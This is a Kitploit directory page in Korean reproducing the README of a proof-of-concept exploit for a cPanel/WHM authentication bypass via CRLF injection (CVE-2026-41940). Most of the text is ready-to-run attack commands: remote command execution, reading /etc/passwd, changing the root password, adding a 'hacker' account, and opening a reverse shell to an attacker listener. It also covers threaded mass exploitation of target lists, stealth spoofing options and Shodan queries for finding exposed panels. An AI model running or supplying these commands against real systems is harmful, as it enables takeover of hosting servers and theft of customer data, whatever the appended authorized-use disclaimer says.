Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-41940-PoC-Exploit — CVE-2026-41940에 대한 PoC 익스플로잇으로, CRLF 인젝션을 통한 cPanel/WHM 인증 우회를 대상으로 합니다. 세션 하이재킹, RCE, 리버스 셸, 대량 스캐닝, 그리고 승인된 침투 테스트를 위한 대화형 셸을 지원합니다. | Kitploit
도구/GitHubGitHub/tc4dy/cve-2026-41940-poc-exploit
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
92288일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubtc4dy/cve-2026-41940-poc-exploit

CVE-2026-41940-PoC-Exploit

CVE-2026-41940에 대한 PoC 익스플로잇으로, CRLF 인젝션을 통한 cPanel/WHM 인증 우회를 대상으로 합니다. 세션 하이재킹, RCE, 리버스 셸, 대량 스캐닝, 그리고 승인된 침투 테스트를 위한 대화형 셸을 지원합니다.

저장소 보기

CVE-2026-41940

CVE-2026-41940 - cPanel/WHM 인증 우회 익스플로잇

Python License CVSS Pentesting

cPanel & WHM 에디션 - CRLF 인젝션을 통한 인증 우회 및 전체 세션 하이재킹

개요

이 익스플로잇은 cPanel/WHM의 치명적인 인증 우회 취약점인 CVE-2026-41940을 악용합니다. 세션 관리 시스템에 조작된 CRLF 페이로드를 주입하여 유효한 자격 증명 없이 세션 하이재킹, 루트 접근 권한 획득, 그리고 호스팅 패널에 대한 완전한 제어를 달성합니다.

주요 기능

카테고리기능
익스플로잇[+] CRLF 인젝션을 통한 인증 우회
[+] WHM 세션 하이재킹
[+] 보안 토큰 유출
[+] 즉각적인 루트 접근
후속 익스플로잇[+] 계정 목록 추출 (사용자 + 도메인)
[+] 원격 명령 실행 (RCE)
[+] 리버스 셸 (netcat 호환)
[+] 파일 읽기 (설정, 로그 등)
[+] 루트 비밀번호 변경
[+] 새 cPanel 사용자 생성
스캐닝[+] 단일 대상 익스플로잇
[+] 다중 대상 대량 스캔
[+] 멀티스레딩 (스레드 수 설정 가능)
[+] 포트 재정의 지원
은닉[+] 요청 간 무작위 지연
[+] X-Forwarded-For 스푸핑
[+] 사용자 정의 User-Agent 지원
[+] 프록시 지원 (HTTP/HTTPS)
사용성[+] 대화형 WHM 셸 (-i)
[+] 컬러 출력 (colorama)
[+] 상세/디버그 모드
[+] 계정 목록 파일로 내보내기
[+] Keep-Alive 세션 스레드
[+] 불안정한 연결을 위한 재시도 메커니즘

취약한 버전

제품버전상태
cPanel & WHM11.92 - 11.102[+] 확인됨
cPanel & WHM11.104 - 11.110[+] 확인됨
cPanel & WHM11.118 - 11.136[!] 제한적
cPanel & WHM< 11.86[+] 취약할 가능성 있음

Shodan 검색

port:2087 "cPanel" "WHM"
port:2083 "cPanel"

면책 조항: 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 무단 접근은 불법입니다.

설치

# 저장소 복제
git clone https://github.com/tc4dy/CVE-2026-41940-POC-Exploit
cd CVE-2026-41940-POC-Exploit

# 의존성 설치
pip3 install -r requirements.txt

# 실행
python3 exploit.py -t https://example.com:2087

사용 예시

# 기본 익스플로잇 (계정 추출)
python3 exploit.py -t https://192.168.1.100:2087

# 계정을 파일로 저장
python3 exploit.py -t https://192.168.1.100:2087 -o accounts.txt

# 상세 모드 (디버그 출력)
python3 exploit.py -t https://192.168.1.100:2087 -v

# 대화형 WHM 셸 (권장)
python3 exploit.py -t https://192.168.1.100:2087 -i

대화형 셸 명령어

[email protected] $ accounts          # 모든 cPanel 계정 나열
[email protected] $ version           # cPanel 버전 표시
[email protected] $ ls /home          # 디렉터리 나열
[email protected] $ cat /etc/passwd   # 파일 읽기
[email protected] $ exec id           # 명령 실행
[email protected] $ passwd NewPass123 # 루트 비밀번호 변경
[email protected] $ adduser test test.com pass123  # 새 사용자 생성
[email protected] $ exit              # 셸 종료

## 원격 명령 실행

```bash
# 단일 명령 실행
python3 exploit.py -t https://192.168.1.100:2087 --cmd "id"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "cat /etc/passwd"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "whoami; hostname; uname -a"


# 파일 읽기
python3 exploit.py -t https://192.168.1.100:2087 --read /etc/passwd
python3 exploit.py -t https://192.168.1.100:2087 --read /home/example/config.php

리버스 셸

# 공격자 머신 (리스너)
nc -lvnp 4444

# 익스플로잇 (리버스 셸)
python3 exploit.py -t https://192.168.1.100:2087 --reverse-shell 10.0.0.1:4444

후속 익스플로잇 작업

# 루트 비밀번호 변경
python3 exploit.py -t https://192.168.1.100:2087 --passwd "NewRootPass123!"

# 새 cPanel 사용자 생성
python3 exploit.py -t https://192.168.1.100:2087 --adduser hacker hacker.com Pass1234

# Keep-alive 세션 (접근 유지)
python3 exploit.py -t https://192.168.1.100:2087 --no-keep-alive  # 자동 keep-alive 비활성화

대량 익스플로잇 (다중 대상)

# 대상 파일 생성
echo "https://target1.com:2087" > targets.txt
echo "https://target2.com:2087" >> targets.txt
echo "https://10.0.0.5:2087" >> targets.txt

# 20개 스레드로 대량 익스플로잇
python3 exploit.py -l targets.txt --threads 20

# 명령 실행과 함께 대량 익스플로잇
python3 exploit.py -l targets.txt --threads 10 --cmd "id"

고급 옵션

# 사용자 정의 포트 (비표준)
python3 exploit.py -t https://example.com -p 8443

# 프록시 사용
python3 exploit.py -t https://192.168.1.100:2087 --proxy http://127.0.0.1:8080

# 은닉을 위한 사용자 정의 user-agent
python3 exploit.py -t https://192.168.1.100:2087 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# 사용자 정의 지연 및 재시도
python3 exploit.py -t https://192.168.1.100:2087 --delay 5 --max-retries 5

# SSL 검증 (기본적으로 자체 서명 무시)
python3 exploit.py -t https://192.168.1.100:2087 --ssl-verify

[<>] 명령줄 인수

단축전체설명기본값
-t--target단일 대상 URL필수 (단일)
-l--target-file대상 목록이 포함된 파일필수 (대량)
-p--port포트 재정의자동 감지
-o--output계정 목록을 파일로 저장없음
-v--verbose디버그 출력 활성화False
-i--interactive대화형 WHM 셸False
--proxyHTTP/HTTPS 프록시없음
-ua--user-agent사용자 정의 User-Agent무작위
--cmd단일 명령 실행없음
--reverse-shell리버스 셸 IP:PORT없음
--passwd루트 비밀번호 변경없음
--adduser새 사용자 생성 (USER DOMAIN PASS)없음
--read대상에서 파일 읽기없음
--threads대량 스캔용 스레드10
--delayKeep-alive 간격 (초)3.0
--max-retries요청당 최대 재시도 횟수3
--no-keep-alive세션 유지 안 함False
--ssl-verifySSL 인증서 검증False

[i] 테스트 환경

Docker (안전하게 테스트하려는 경우)

docker run -d --name cpanel-test -p 2087:2087 cpanel/cpanel:102

또는 취약한 버전으로

docker pull cpanel/cpanel:11.102 docker run -d -p 2087:2087 cpanel/cpanel:11.102

관련 익스플로잇

다른 익스플로잇 저장소도 확인해 보세요:

  • CVE-2026-24061
  • CVE-2026-0073
  • CVE-2026-29000

[R] 책임 있는 사용

이 툴킷은 승인된 보안 테스트, 레드팀 활동, 방어 연구 목적으로만 제공됩니다. 이 소프트웨어를 사용함으로써 다음 조건에 동의하게 됩니다:

  • 승인 필요: 소유한 시스템 또는 테스트에 대한 명시적 서면 허가를 받은 시스템에만 이 도구를 사용하십시오.
  • 법률 준수: 모든 관련 지역, 주, 국가 및 국제 법률을 준수하십시오. 컴퓨터 시스템에 대한 무단 접근은 컴퓨터 사기 및 남용법(CFAA) 및 전 세계의 동등한 법률에 따라 불법입니다.
  • 악의적 사용 금지: 무단 접근, 데이터 도용, 서비스 중단 또는 기타 악의적인 목적으로 이 도구를 사용하지 마십시오.
  • 책임 있는 공개: 이 도구를 사용하여 취약점을 발견한 경우, 협조적 공개 관행에 따라 벤더에 보고하십시오.
  • 보증 없음: 저자는 이 소프트웨어를 어떠한 종류의 보증도 없이 "있는 그대로" 제공합니다. 저자는 오용으로 인해 발생하는 어떠한 손해나 법적 결과에 대해서도 책임지지 않습니다.
  • 로깅 및 감사: 감사 목적으로 모든 테스트 활동에 대한 상세한 로그를 유지하십시오.
  • 범위 준수: 합의된 활동 범위 내에서 유지하십시오. 범위를 벗어난 시스템으로 이동하지 마십시오.
도구 다운로드